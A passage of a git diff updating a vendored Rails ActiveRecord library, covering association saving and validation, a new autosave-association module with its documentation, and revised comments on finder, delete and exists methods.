+          if has_primary_key?
+            raise ActiveRecord::ConfigurationError,
+              "Primary key is not allowed in a has_and_belongs_to_many join table (#{@reflection.options[:join_table]})."
+          end
+
           if record.new_record?
             if force
               record.save!
             else
-              return false unless record.save
+              return false unless record.save(validate)
             end
           end
 
           if @reflection.options[:insert_sql]
             @owner.connection.insert(interpolate_sql(@reflection.options[:insert_sql], record))
           else
-            columns = @owner.connection.columns(@reflection.options[:join_table], "#{@reflection.options[:join_table]} Columns")
-
             attributes = columns.inject({}) do |attrs, column|
               case column.name.to_s
                 when @reflection.primary_key_name.to_s
@@ -103,7 +125,7 @@ module ActiveRecord
         # clause has been explicitly defined. Otherwise you can get broken records back, if, for example, the join column also has
         # an id column. This will then overwrite the id column of the records coming back.
         def finding_with_ambiguous_select?(select_clause)
-          !select_clause && @owner.connection.columns(@reflection.options[:join_table], "Join Table Columns").size != 2
+          !select_clause && columns.size != 2
         end
 
       private
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb
index 3348079e..1f673ad7 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb
@@ -56,9 +56,9 @@ module ActiveRecord
           "#{@reflection.name}_count"
         end
 
-        def insert_record(record)
+        def insert_record(record, force = false, validate = true)
           set_belongs_to_association_for(record)
-          record.save
+          force ? record.save! : record.save(validate)
         end
 
         # Deletes the records according to the <tt>:dependent</tt> option.
@@ -74,6 +74,7 @@ module ActiveRecord
                 "#{@reflection.primary_key_name} = NULL", 
                 "#{@reflection.primary_key_name} = #{owner_quoted_id} AND #{@reflection.klass.primary_key} IN (#{ids})"
               )
+              @owner.class.update_counters(@owner.id, cached_counter_attribute_name => -records.size) if has_cached_counter?
           end
         end
 
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb
index a0bb3a45..6af14a57 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -17,14 +17,24 @@ module ActiveRecord
 
       def create(attrs = nil)
         transaction do
-          self << (object = attrs ? @reflection.klass.send(:with_scope, :create => attrs) { @reflection.create_association } : @reflection.create_association)
+          object = if attrs
+            @reflection.klass.send(:with_scope, :create => attrs) {
+              @reflection.create_association
+            }
+          else
+            @reflection.create_association
+          end
+          raise_on_type_mismatch(object)
+          add_record_to_target_with_callbacks(object) do |r|
+            insert_record(object, false)
+          end
           object
         end
       end
 
       # Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and
-      # calling collection.size if it has. If it's more likely than not that the collection does have a size larger than zero
-      # and you need to fetch that collection afterwards, it'll take one less SELECT query if you use length.
+      # calling collection.size if it has. If it's more likely than not that the collection does have a size larger than zero,
+      # and you need to fetch that collection afterwards, it'll take one fewer SELECT query if you use #length.
       def size
         return @owner.send(:read_attribute, cached_counter_attribute_name) if has_cached_counter?
         return @target.size if loaded?
@@ -44,15 +54,15 @@ module ActiveRecord
           options[:select]  = construct_select(options[:select])
           options[:from]  ||= construct_from
           options[:joins]   = construct_joins(options[:joins])
-          options[:include] = @reflection.source_reflection.options[:include] if options[:include].nil?
+          options[:include] = @reflection.source_reflection.options[:include] if options[:include].nil? && @reflection.source_reflection.options[:include]
         end
         
-        def insert_record(record, force=true)
+        def insert_record(record, force = true, validate = true)
           if record.new_record?
             if force
               record.save!
             else
-              return false unless record.save
+              return false unless record.save(validate)
             end
           end
           through_reflection = @reflection.through_reflection
@@ -96,7 +106,7 @@ module ActiveRecord
         # Construct attributes for :through pointing to owner and associate.
         def construct_join_attributes(associate)
           # TODO: revist this to allow it for deletion, supposing dependent option is supported
-          raise ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection.new(@owner, @reflection) if @reflection.source_reflection.macro == :has_many
+          raise ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(@owner, @reflection) if [:has_one, :has_many].include?(@reflection.source_reflection.macro)
           join_attributes = construct_owner_attributes(@reflection.through_reflection).merge(@reflection.source_reflection.primary_key_name => associate.id)
           if @reflection.options[:source_type]
             join_attributes.merge!(@reflection.source_reflection.options[:foreign_type] => associate.class.base_class.name.to_s)
@@ -150,7 +160,7 @@ module ActiveRecord
             end
           else
             reflection_primary_key = @reflection.source_reflection.primary_key_name
-            source_primary_key     = @reflection.klass.primary_key
+            source_primary_key     = @reflection.through_reflection.klass.primary_key
             if @reflection.source_reflection.options[:as]
               polymorphic_join = "AND %s.%s = %s" % [
                 @reflection.quoted_table_name, "#{@reflection.source_reflection.options[:as]}_type",
@@ -160,9 +170,9 @@ module ActiveRecord
           end
 
           "INNER JOIN %s ON %s.%s = %s.%s %s #{@reflection.options[:joins]} #{custom_joins}" % [
-            @reflection.through_reflection.table_name,
-            @reflection.table_name, reflection_primary_key,
-            @reflection.through_reflection.table_name, source_primary_key,
+            @reflection.through_reflection.quoted_table_name,
+            @reflection.quoted_table_name, reflection_primary_key,
+            @reflection.through_reflection.quoted_table_name, source_primary_key,
             polymorphic_join
           ]
         end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_one_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_one_association.rb
index 96032300..b0105d52 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/has_one_association.rb
@@ -8,18 +8,21 @@ module ActiveRecord
 
       def create(attrs = {}, replace_existing = true)
         new_record(replace_existing) do |reflection|
+          attrs = merge_with_conditions(attrs)
           reflection.create_association(attrs)
         end
       end
 
       def create!(attrs = {}, replace_existing = true)
         new_record(replace_existing) do |reflection|
+          attrs = merge_with_conditions(attrs)
           reflection.create_association!(attrs)
         end
       end
 
       def build(attrs = {}, replace_existing = true)
         new_record(replace_existing) do |reflection|
+          attrs = merge_with_conditions(attrs)
           reflection.build_association(attrs)
         end
       end
@@ -29,8 +32,17 @@ module ActiveRecord
 
         unless @target.nil? || @target == obj
           if dependent? && !dont_save
-            @target.destroy unless @target.new_record?
-            @owner.clear_association_cache
+            case @reflection.options[:dependent]
+            when :delete
+              @target.delete unless @target.new_record?
+              @owner.clear_association_cache
+            when :destroy
+              @target.destroy unless @target.new_record?
+              @owner.clear_association_cache
+            when :nullify
+              @target[@reflection.primary_key_name] = nil
+              @target.save unless @owner.new_record? || @target.new_record?
+            end
           else
             @target[@reflection.primary_key_name] = nil
             @target.save unless @owner.new_record? || @target.new_record?
@@ -110,6 +122,12 @@ module ActiveRecord
 
           record
         end
+
+        def merge_with_conditions(attrs={})
+          attrs ||= {}
+          attrs.update(@reflection.options[:conditions]) if @reflection.options[:conditions].is_a?(Hash)
+          attrs
+        end
     end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_one_through_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_one_through_association.rb
index 8073ebaf..d8bcf76a 100644
--- a/vendor/rails/activerecord/lib/active_record/associations/has_one_through_association.rb
+++ b/vendor/rails/activerecord/lib/active_record/associations/has_one_through_association.rb
@@ -1,31 +1,37 @@
 module ActiveRecord
   module Associations
     class HasOneThroughAssociation < HasManyThroughAssociation
-      
+
       def create_through_record(new_value) #nodoc:
         klass = @reflection.through_reflection.klass
 
         current_object = @owner.send(@reflection.through_reflection.name)
-        
+
         if current_object
-          current_object.update_attributes(construct_join_attributes(new_value))
-        else
-          @owner.send(@reflection.through_reflection.name,  klass.send(:create, construct_join_attributes(new_value)))
+          new_value ? current_object.update_attributes(construct_join_attributes(new_value)) : current_object.destroy
+        elsif new_value
+          if @owner.new_record?
+            self.target = new_value
+            through_association = @owner.send(:association_instance_get, @reflection.through_reflection.name)
+            through_association.build(construct_join_attributes(new_value))
+          else
+            @owner.send(@reflection.through_reflection.name, klass.create(construct_join_attributes(new_value)))
+          end
         end
       end
-      
+
     private
       def find(*args)
         super(args.merge(:limit => 1))
       end
-    
+
       def find_target
         super.first
       end
 
       def reset_target!
         @target = nil
-      end        
-    end        
+      end
+    end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/attribute_methods.rb b/vendor/rails/activerecord/lib/active_record/attribute_methods.rb
index 177d1568..3ffc4894 100644
--- a/vendor/rails/activerecord/lib/active_record/attribute_methods.rb
+++ b/vendor/rails/activerecord/lib/active_record/attribute_methods.rb
@@ -324,6 +324,7 @@ module ActiveRecord
           if Numeric === value || value !~ /[^0-9]/
             !value.to_i.zero?
           else
+            return false if ActiveRecord::ConnectionAdapters::Column::FALSE_VALUES.include?(value)
             !value.blank?
           end
         elsif column.number?
diff --git a/vendor/rails/activerecord/lib/active_record/autosave_association.rb b/vendor/rails/activerecord/lib/active_record/autosave_association.rb
new file mode 100644
index 00000000..049fb6ef
--- /dev/null
+++ b/vendor/rails/activerecord/lib/active_record/autosave_association.rb
@@ -0,0 +1,364 @@
+module ActiveRecord
+  # AutosaveAssociation is a module that takes care of automatically saving
+  # your associations when the parent is saved. In addition to saving, it
+  # also destroys any associations that were marked for destruction.
+  # (See mark_for_destruction and marked_for_destruction?)
+  #
+  # Saving of the parent, its associations, and the destruction of marked
+  # associations, all happen inside 1 transaction. This should never leave the
+  # database in an inconsistent state after, for instance, mass assigning
+  # attributes and saving them.
+  #
+  # If validations for any of the associations fail, their error messages will
+  # be applied to the parent.
+  #
+  # Note that it also means that associations marked for destruction won't
+  # be destroyed directly. They will however still be marked for destruction.
+  #
+  # === One-to-one Example
+  #
+  # Consider a Post model with one Author:
+  #
+  #   class Post
+  #     has_one :author, :autosave => true
+  #   end
+  #
+  # Saving changes to the parent and its associated model can now be performed
+  # automatically _and_ atomically:
+  #
+  #   post = Post.find(1)
+  #   post.title # => "The current global position of migrating ducks"
+  #   post.author.name # => "alloy"
+  #
+  #   post.title = "On the migration of ducks"
+  #   post.author.name = "Eloy Duran"
+  #
+  #   post.save
+  #   post.reload
+  #   post.title # => "On the migration of ducks"
+  #   post.author.name # => "Eloy Duran"
+  #
+  # Destroying an associated model, as part of the parent's save action, is as
+  # simple as marking it for destruction:
+  #
+  #   post.author.mark_for_destruction
+  #   post.author.marked_for_destruction? # => true
+  #
+  # Note that the model is _not_ yet removed from the database:
+  #   id = post.author.id
+  #   Author.find_by_id(id).nil? # => false
+  #
+  #   post.save
+  #   post.reload.author # => nil
+  #
+  # Now it _is_ removed from the database:
+  #   Author.find_by_id(id).nil? # => true
+  #
+  # === One-to-many Example
+  #
+  # Consider a Post model with many Comments:
+  #
+  #   class Post
+  #     has_many :comments, :autosave => true
+  #   end
+  #
+  # Saving changes to the parent and its associated model can now be performed
+  # automatically _and_ atomically:
+  #
+  #   post = Post.find(1)
+  #   post.title # => "The current global position of migrating ducks"
+  #   post.comments.first.body # => "Wow, awesome info thanks!"
+  #   post.comments.last.body # => "Actually, your article should be named differently."
+  #
+  #   post.title = "On the migration of ducks"
+  #   post.comments.last.body = "Actually, your article should be named differently. [UPDATED]: You are right, thanks."
+  #
+  #   post.save
+  #   post.reload
+  #   post.title # => "On the migration of ducks"
+  #   post.comments.last.body # => "Actually, your article should be named differently. [UPDATED]: You are right, thanks."
+  #
+  # Destroying one of the associated models members, as part of the parent's
+  # save action, is as simple as marking it for destruction:
+  #
+  #   post.comments.last.mark_for_destruction
+  #   post.comments.last.marked_for_destruction? # => true
+  #   post.comments.length # => 2
+  #
+  # Note that the model is _not_ yet removed from the database:
+  #   id = post.comments.last.id
+  #   Comment.find_by_id(id).nil? # => false
+  #
+  #   post.save
+  #   post.reload.comments.length # => 1
+  #
+  # Now it _is_ removed from the database:
+  #   Comment.find_by_id(id).nil? # => true
+  #
+  # === Validation
+  #
+  # Validation is performed on the parent as usual, but also on all autosave
+  # enabled associations. If any of the associations fail validation, its
+  # error messages will be applied on the parents errors object and validation
+  # of the parent will fail.
+  #
+  # Consider a Post model with Author which validates the presence of its name
+  # attribute:
+  #
+  #   class Post
+  #     has_one :author, :autosave => true
+  #   end
+  #
+  #   class Author
+  #     validates_presence_of :name
+  #   end
+  #
+  #   post = Post.find(1)
+  #   post.author.name = ''
+  #   post.save # => false
+  #   post.errors # => #<ActiveRecord::Errors:0x174498c @errors={"author_name"=>["can't be blank"]}, @base=#<Post ...>>
+  #
+  # No validations will be performed on the associated models when validations
+  # are skipped for the parent:
+  #
+  #   post = Post.find(1)
+  #   post.author.name = ''
+  #   post.save(false) # => true
+  module AutosaveAssociation
+    ASSOCIATION_TYPES = %w{ has_one belongs_to has_many has_and_belongs_to_many }
+
+    def self.included(base)
+      base.class_eval do
+        base.extend(ClassMethods)
+        alias_method_chain :reload, :autosave_associations
+
+        ASSOCIATION_TYPES.each do |type|
+          base.send("valid_keys_for_#{type}_association") << :autosave
+        end
+      end
+    end
+
+    module ClassMethods
+      private
+
+      # def belongs_to(name, options = {})
+      #   super
+      #   add_autosave_association_callbacks(reflect_on_association(name))
+      # end
+      ASSOCIATION_TYPES.each do |type|
+        module_eval %{
+          def #{type}(name, options = {})
+            super
+            add_autosave_association_callbacks(reflect_on_association(name))
+          end
+        }
+      end
+
+      # Adds a validate and save callback for the association as specified by
+      # the +reflection+.
+      def add_autosave_association_callbacks(reflection)
+        save_method = "autosave_associated_records_for_#{reflection.name}"
+        validation_method = "validate_associated_records_for_#{reflection.name}"
+        force_validation = (reflection.options[:validate] == true || reflection.options[:autosave] == true)
+
+        case reflection.macro
+        when :has_many, :has_and_belongs_to_many
+          before_save :before_save_collection_association
+
+          define_method(save_method) { save_collection_association(reflection) }
+          # Doesn't use after_save as that would save associations added in after_create/after_update twice
+          after_create save_method
+          after_update save_method
+
+          if force_validation || (reflection.macro == :has_many && reflection.options[:validate] != false)
+            define_method(validation_method) { validate_collection_association(reflection) }
+            validate validation_method
+          end
+        else
+          case reflection.macro
+          when :has_one
+            define_method(save_method) { save_has_one_association(reflection) }
+            after_save save_method
+          when :belongs_to
+            define_method(save_method) { save_belongs_to_association(reflection) }
+            before_save save_method
+          end
+
+          if force_validation
+            define_method(validation_method) { validate_single_association(reflection) }
+            validate validation_method
+          end
+        end
+      end
+    end
+
+    # Reloads the attributes of the object as usual and removes a mark for destruction.
+    def reload_with_autosave_associations(options = nil)
+      @marked_for_destruction = false
+      reload_without_autosave_associations(options)
+    end
+
+    # Marks this record to be destroyed as part of the parents save transaction.
+    # This does _not_ actually destroy the record yet, rather it will be destroyed when <tt>parent.save</tt> is called.
+    #
+    # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+    def mark_for_destruction
+      @marked_for_destruction = true
+    end
+
+    # Returns whether or not this record will be destroyed as part of the parents save transaction.
+    #
+    # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+    def marked_for_destruction?
+      @marked_for_destruction
+    end
+
+    private
+
+    # Returns the record for an association collection that should be validated
+    # or saved. If +autosave+ is +false+ only new records will be returned,
+    # unless the parent is/was a new record itself.
+    def associated_records_to_validate_or_save(association, new_record, autosave)
+      if new_record
+        association
+      elsif association.loaded?
+        autosave ? association : association.select { |record| record.new_record? }
+      else
+        autosave ? association.target : association.target.select { |record| record.new_record? }
+      end
+    end
+
+    # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+    # turned on for the association specified by +reflection+.
+    def validate_single_association(reflection)
+      if (association = association_instance_get(reflection.name)) && !association.target.nil?
+        association_valid?(reflection, association)
+      end
+    end
+
+    # Validate the associated records if <tt>:validate</tt> or
+    # <tt>:autosave</tt> is turned on for the association specified by
+    # +reflection+.
+    def validate_collection_association(reflection)
+      if association = association_instance_get(reflection.name)
+        if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+          records.each { |record| association_valid?(reflection, record) }
+        end
+      end
+    end
+
+    # Returns whether or not the association is valid and applies any errors to
+    # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+    # enabled records if they're marked_for_destruction? or destroyed.
+    def association_valid?(reflection, association)
+      return true if association.destroyed? || association.marked_for_destruction?
+
+      unless valid = association.valid?
+        if reflection.options[:autosave]
+          association.errors.each_error do |attribute, error|
+            attribute = "#{reflection.name}.#{attribute}"
+            errors.add(attribute, error.dup) unless errors.on(attribute)
+          end
+        else
+          errors.add(reflection.name)
+        end
+      end
+      valid
+    end
+
+    # Is used as a before_save callback to check while saving a collection
+    # association whether or not the parent was a new record before saving.
+    def before_save_collection_association
+      @new_record_before_save = new_record?
+      true
+    end
+
+    # Saves any new associated records, or all loaded autosave associations if
+    # <tt>:autosave</tt> is enabled on the association.
+    #
+    # In addition, it destroys all children that were marked for destruction
+    # with mark_for_destruction.
+    #
+    # This all happens inside a transaction, _if_ the Transactions module is included into
+    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+    def save_collection_association(reflection)
+      if association = association_instance_get(reflection.name)
+        autosave = reflection.options[:autosave]
+
+        if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+          records.each do |record|
+            next if record.destroyed?
+
+            if autosave && record.marked_for_destruction?
+              association.destroy(record)
+            elsif autosave != false && (@new_record_before_save || record.new_record?)
+              if autosave
+                association.send(:insert_record, record, false, false)
+              else
+                association.send(:insert_record, record)
+              end
+            elsif autosave
+              record.save(false)
+            end
+          end
+        end
+
+        # reconstruct the SQL queries now that we know the owner's id
+        association.send(:construct_sql) if association.respond_to?(:construct_sql)
+      end
+    end
+
+    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+    # on the association.
+    #
+    # In addition, it will destroy the association if it was marked for
+    # destruction with mark_for_destruction.
+    #
+    # This all happens inside a transaction, _if_ the Transactions module is included into
+    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+    def save_has_one_association(reflection)
+      if (association = association_instance_get(reflection.name)) && !association.target.nil? && !association.destroyed?
+        autosave = reflection.options[:autosave]
+
+        if autosave && association.marked_for_destruction?
+          association.destroy
+        else
+          key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+          if autosave != false && (new_record? || association.new_record? || association[reflection.primary_key_name] != key || autosave)
+            association[reflection.primary_key_name] = key
+            association.save(!autosave)
+          end
+        end
+      end
+    end
+
+    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+    # on the association.
+    #
+    # In addition, it will destroy the association if it was marked for
+    # destruction with mark_for_destruction.
+    #
+    # This all happens inside a transaction, _if_ the Transactions module is included into
+    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+    def save_belongs_to_association(reflection)
+      if (association = association_instance_get(reflection.name)) && !association.destroyed?
+        autosave = reflection.options[:autosave]
+
+        if autosave && association.marked_for_destruction?
+          association.destroy
+        elsif autosave != false
+          association.save(!autosave) if association.new_record? || autosave
+
+          if association.updated?
+            association_id = association.send(reflection.options[:primary_key] || :id)
+            self[reflection.primary_key_name] = association_id
+            # TODO: Removing this code doesn't seem to matter…
+            if reflection.options[:polymorphic]
+              self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activerecord/lib/active_record/base.rb b/vendor/rails/activerecord/lib/active_record/base.rb
index dcc82778..2ec2f73a 100755
--- a/vendor/rails/activerecord/lib/active_record/base.rb
+++ b/vendor/rails/activerecord/lib/active_record/base.rb
@@ -327,7 +327,7 @@ module ActiveRecord #:nodoc:
   #   User.find(user.id).preferences # => { "background" => "black", "display" => large }
   #
   # You can also specify a class option as the second parameter that'll raise an exception if a serialized object is retrieved as a
-  # descendent of a class not in the hierarchy. Example:
+  # descendant of a class not in the hierarchy. Example:
   #
   #   class User < ActiveRecord::Base
   #     serialize :preferences, Hash
@@ -389,6 +389,8 @@ module ActiveRecord #:nodoc:
   # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
   # instances in the current object space.
   class Base
+    ##  
+    # :singleton-method:
     # Accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed
     # on to any new database connections made and which can be retrieved on both a class and instance level by calling +logger+.
     cattr_accessor :logger, :instance_writer => false
@@ -415,6 +417,8 @@ module ActiveRecord #:nodoc:
 
     @@subclasses = {}
 
+    ##
+    # :singleton-method:
     # Contains the database configuration - as is typically stored in config/database.yml -
     # as a Hash.
     #
@@ -443,6 +447,8 @@ module ActiveRecord #:nodoc:
     cattr_accessor :configurations, :instance_writer => false
     @@configurations = {}
 
+    ##
+    # :singleton-method:
     # Accessor for the prefix type that will be prepended to every primary key column name. The options are :table_name and
     # :table_name_with_underscore. If the first is specified, the Product class will look for "productid" instead of "id" as
     # the primary column. If the latter is specified, the Product class will look for "product_id" instead of "id". Remember
@@ -450,34 +456,46 @@ module ActiveRecord #:nodoc:
     cattr_accessor :primary_key_prefix_type, :instance_writer => false
     @@primary_key_prefix_type = nil
 
+    ##
+    # :singleton-method:
     # Accessor for the name of the prefix string to prepend to every table name. So if set to "basecamp_", all
     # table names will be named like "basecamp_projects", "basecamp_people", etc. This is a convenient way of creating a namespace
     # for tables in a shared database. By default, the prefix is the empty string.
     cattr_accessor :table_name_prefix, :instance_writer => false
     @@table_name_prefix = ""
 
+    ##
+    # :singleton-method:
     # Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
     # "people_basecamp"). By default, the suffix is the empty string.
     cattr_accessor :table_name_suffix, :instance_writer => false
     @@table_name_suffix = ""
 
+    ##
+    # :singleton-method:
     # Indicates whether table names should be the pluralized versions of the corresponding class names.
     # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
     # See table_name for the full rules on table/class naming. This is true, by default.
     cattr_accessor :pluralize_table_names, :instance_writer => false
     @@pluralize_table_names = true
 
+    ##
+    # :singleton-method:
     # Determines whether to use ANSI codes to colorize the logging statements committed by the connection adapter. These colors
     # make it much easier to overview things during debugging (when used through a reader like +tail+ and on a black background), but
     # may complicate matters if you use software like syslog. This is true, by default.
     cattr_accessor :colorize_logging, :instance_writer => false
     @@colorize_logging = true
 
+    ##
+    # :singleton-method:
     # Determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates and times from the database.
     # This is set to :local by default.
     cattr_accessor :default_timezone, :instance_writer => false
     @@default_timezone = :local
 
+    ##
+    # :singleton-method:
     # Specifies the format to use when dumping the database schema with Rails'
     # Rakefile.  If :sql, the schema is dumped as (potentially database-
     # specific) SQL statements.  If :ruby, the schema is dumped as an
@@ -487,6 +505,8 @@ module ActiveRecord #:nodoc:
     cattr_accessor :schema_format , :instance_writer => false
     @@schema_format = :ruby
 
+    ##
+    # :singleton-method:
     # Specify whether or not to use timestamps for migration numbers
     cattr_accessor :timestamped_migrations , :instance_writer => false
     @@timestamped_migrations = true
@@ -495,6 +515,10 @@ module ActiveRecord #:nodoc:
     superclass_delegating_accessor :store_full_sti_class
     self.store_full_sti_class = false
 
+    # Stores the default scope for the class
+    class_inheritable_accessor :default_scoping, :instance_writer => false
+    self.default_scoping = []
+
     class << self # Class methods
       # Find operates with four different retrieval approaches:
       #
@@ -517,10 +541,12 @@ module ActiveRecord #:nodoc:
       # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1", <tt>[ "user_name = ?", username ]</tt>, or <tt>["user_name = :user_name", { :user_name => user_name }]</tt>. See conditions in the intro.
       # * <tt>:order</tt> - An SQL fragment like "created_at DESC, name".
       # * <tt>:group</tt> - An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
+      # * <tt>:having</tt> - Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
       # * <tt>:limit</tt> - An integer determining the limit on the number of rows that should be returned.
       # * <tt>:offset</tt> - An integer determining the offset from where the rows should be fetched. So at 5, it would skip rows 0 through 4.
-      # * <tt>:joins</tt> - Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed)
-      #   or named associations in the same form used for the <tt>:include</tt> option, which will perform an <tt>INNER JOIN</tt> on the associated table(s).
+      # * <tt>:joins</tt> - Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed),
+      #   named associations in the same form used for the <tt>:include</tt> option, which will perform an <tt>INNER JOIN</tt> on the associated table(s),
+      #   or an array containing a mixture of both strings and named associations.
       #   If the value is a string, then the records will be returned read-only since they will have attributes that do not correspond to the table's columns.
       #   Pass <tt>:readonly => false</tt> to override.
       # * <tt>:include</tt> - Names associations that should be loaded alongside. The symbols named refer
@@ -635,31 +661,35 @@ module ActiveRecord #:nodoc:
         connection.select_all(sanitize_sql(sql), "#{name} Load").collect! { |record| instantiate(record) }
       end
 
-      # Checks whether a record exists in the database that matches conditions given.  These conditions
-      # can either be a single integer representing a primary key id to be found, or a condition to be
-      # matched like using ActiveRecord#find.
+      # Returns true if a record exists in the table that matches the +id+ or
+      # conditions given, or false otherwise. The argument can take five forms:
       #
-      # The +id_or_conditions+ parameter can be an Integer or a String if you want to search the primary key
-      # column of the table for a matching id, or if you're looking to match against a condition you can use
-      # an Array or a Hash.
+      # * Integer - Finds the record with this primary key.
+      # * String - Finds the record with a primary key corresponding to this
+      #   string (such as <tt>'5'</tt>).
+      # * Array - Finds the record that matches these +find+-style conditions
+      #   (such as <tt>['color = ?', 'red']</tt>).
+      # * Hash - Finds the record that matches these +find+-style conditions
+      #   (such as <tt>{:color => 'red'}</tt>).
+      # * No args - Returns false if the table is empty, true otherwise.
       #
-      # Possible gotcha: You can't pass in a condition as a string e.g. "name = 'Jamie'", this would be
-      # sanitized and then queried against the primary key column as "id = 'name = \'Jamie"
+      # For more information about specifying conditions as a Hash or Array,
+      # see the Conditions section in the introduction to ActiveRecord::Base.
+      #
+      # Note: You can't pass in a condition as a string (like <tt>name =
+      # 'Jamie'</tt>), since it would be sanitized and then queried against
+      # the primary key column, like <tt>id = 'name = \'Jamie\''</tt>.
       #
       # ==== Examples
       #   Person.exists?(5)
       #   Person.exists?('5')
       #   Person.exists?(:name => "David")
       #   Person.exists?(['name LIKE ?', "%#{query}%"])
-      def exists?(id_or_conditions)
-        connection.select_all(
-          construct_finder_sql(
-            :select     => "#{quoted_table_name}.#{primary_key}",
-            :conditions => expand_id_conditions(id_or_conditions),
-            :limit      => 1
-          ),
-          "#{name} Exists"
-        ).size > 0
+      #   Person.exists?
+      def exists?(id_or_conditions = {})
+        find_initial(
+          :select => "#{quoted_table_name}.#{primary_key}",
+          :conditions => expand_id_conditions(id_or_conditions)) ? true : false
       end
 
       # Creates an object (or multiple objects) and saves it to the database, if validations pass.
@@ -701,12 +731,12 @@ module ActiveRecord #:nodoc:
       # ==== Parameters
       #
       # * +id+ - This should be the id or an array of ids to be updated.
-      # * +attributes+ - This should be a Hash of attributes to be set on the object, or an array of Hashes.
+      # * +attributes+ - This should be a hash of attributes to be set on the object, or an array of hashes.
       #
       # ==== Examples
       #
       #   # Updating one record:
-      #   Person.update(15, { :user_name => 'Samuel', :group => 'expert' })
+      #   Person.update(15, :user_name => 'Samuel', :group => 'expert')
       #
       #   # Updating multiple records:
       #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
@@ -722,25 +752,26 @@ module ActiveRecord #:nodoc:
         end
       end
 
-      # Delete an object (or multiple objects) where the +id+ given matches the primary_key.  A SQL +DELETE+ command
-      # is executed on the database which means that no callbacks are fired off running this.  This is an efficient method
-      # of deleting records that don't need cleaning up after or other actions to be taken.
+      # Deletes the row with a primary key matching the +id+ argument, using a
+      # SQL +DELETE+ statement, and returns the number of rows deleted. Active
+      # Record objects are not instantiated, so the object's callbacks are not
+      # executed, including any <tt>:dependent</tt> association options or
+      # Observer methods.
       #
-      # Objects are _not_ instantiated with this method, and so +:dependent+ rules
-      # defined on associations are not honered.
+      # You can delete multiple rows at once by passing an Array of <tt>id</tt>s.
       #
-      # ==== Parameters
-      #
-      # * +id+ - Can be either an Integer or an Array of Integers.
+      # Note: Although it is often much faster than the alternative,
+      # <tt>#destroy</tt>, skipping callbacks might bypass business logic in
+      # your application that ensures referential integrity or performs other
+      # essential jobs.
       #
       # ==== Examples
       #
-      #   # Delete a single object
+      #   # Delete a single row
       #   Todo.delete(1)
       #
-      #   # Delete multiple objects
-      #   todos = [1,2,3]
-      #   Todo.delete(todos)
+      #   # Delete multiple rows
+      #   Todo.delete([2,3,4])
       def delete(id)
         delete_all([ "#{connection.quote_column_name(primary_key)} IN (?)", id ])
       end
@@ -778,8 +809,7 @@ module ActiveRecord #:nodoc:
       #
       # ==== Parameters
       #
-      # * +updates+ - A string of column and value pairs that will be set on any records that match conditions.
-      #               What goes into the SET clause.
+      # * +updates+ - A string of column and value pairs that will be set on any records that match conditions. This creates the SET clause of the generated SQL.
       # * +conditions+ - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro for more info.
       # * +options+ - Additional options are <tt>:limit</tt> and <tt>:order</tt>, see the examples for usage.
       #
@@ -817,25 +847,32 @@ module ActiveRecord #:nodoc:
         connection.update(sql, "#{name} Update")
       end
 
-      # Destroys the records matching +conditions+ by instantiating each record and calling their +destroy+ method.
-      # This means at least 2*N database queries to destroy N records, so avoid +destroy_all+ if you are deleting
-      # many records. If you want to simply delete records without worrying about dependent associations or
-      # callbacks, use the much faster +delete_all+ method instead.
+      # Destroys the records matching +conditions+ by instantiating each
+      # record and calling its +destroy+ method. Each object's callbacks are
+      # executed (including <tt>:dependent</tt> association options and
+      # +before_destroy+/+after_destroy+ Observer methods). Returns the
+      # collection of objects that were destroyed; each will be frozen, to
+      # reflect that no changes should be made (since they can't be
+      # persisted).
+      #
+      # Note: Instantiation, callback execution, and deletion of each
+      # record can be time consuming when you're removing many records at
